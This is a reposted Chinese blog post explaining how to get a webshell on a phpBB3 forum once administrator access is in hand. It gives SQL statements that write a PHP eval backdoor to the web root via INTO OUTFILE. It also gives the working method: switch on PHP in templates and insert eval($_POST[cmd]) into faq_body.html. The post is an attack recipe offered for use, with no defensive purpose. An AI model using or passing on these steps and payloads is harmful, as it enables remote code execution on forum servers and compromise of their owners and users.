内容:
phpbb3 拿到管理员账号进去能干什么呢?又不能上传个SHELL。确实很头疼啊
搜半天都没搜到有牛人拿到过。难道没人研究它?
去年就试过些招。还是没搞定。今天遇到个phpbb3。终于还是拿到shell了。。。
要是能找到执行类似phpmyadmin之类的执行数据库语句的地方。拿shell还是比较简单的
需要两条语句。还有绝对路径。。如下
INSERT INTO phpbb_config (config_name, config_value) VALUES ('names', '<?php eval($_POST[cmd]);?>');
SELECT config_value INTO OUTFILE 'E:/wwwroot/phpbb/aaaa.php' FROM phpbb_config where config_name='names';
然后想起了那个恢复数据库的功能。
首先随便备份一个表。程序会在./store目录下生成类似backup_1225190190_82a812b62fbb2ea7.sql.gz这样的文件
里头是什么呢。就是一个backup_1225190190_82a812b62fbb2ea7.sql文件。
那如果我把上传目录files改为store。然后我再搞个上面拿shell的那条语句的.sql.gz包。接着上传覆盖掉先前备份保留在store目录下的gz文件
接着恢复。那不是大功告成了嘛?
但是但是但是。后来发现。phpbb3上传的附件通通给你重名命为无后缀文件。
找半天没发现哪里改。。无语。google了一下说要以插件的形式修改代码部份。那就失去意义了。都能修改代码了。还废这半天劲干嘛
万恶的phpbb3啊。。。
然后就是模版部份。php标签都会过滤掉了。鞋特啊
最后终于还是搞定了。不浪费口水了。直接说方法
进入后台控制面板=》服务器配置 =》安全设定
(在模板中允许PHP)选项打开
然后进入模版编缉选个模板插三行代码
faq_body.html 就用这玩意。在尾部加入
<!-- PHP -->
echo "netpk";
<!-- ENDPHP -->
然后访问 localhost/phpbb3/faq.php 在底部可以看到netpk字样。说明php代码执行咯。
然后访问 localhost/phpbb3/faq.php 在底部可以看到netpk字样。说明php代码执行咯。
来一条
<!-- PHP -->
eval($_POST[cmd]);
<!-- ENDPHP -->
然后就XXXXXXXXX。。打完收工
转载于:https://blog.51cto.com/hellxman/632274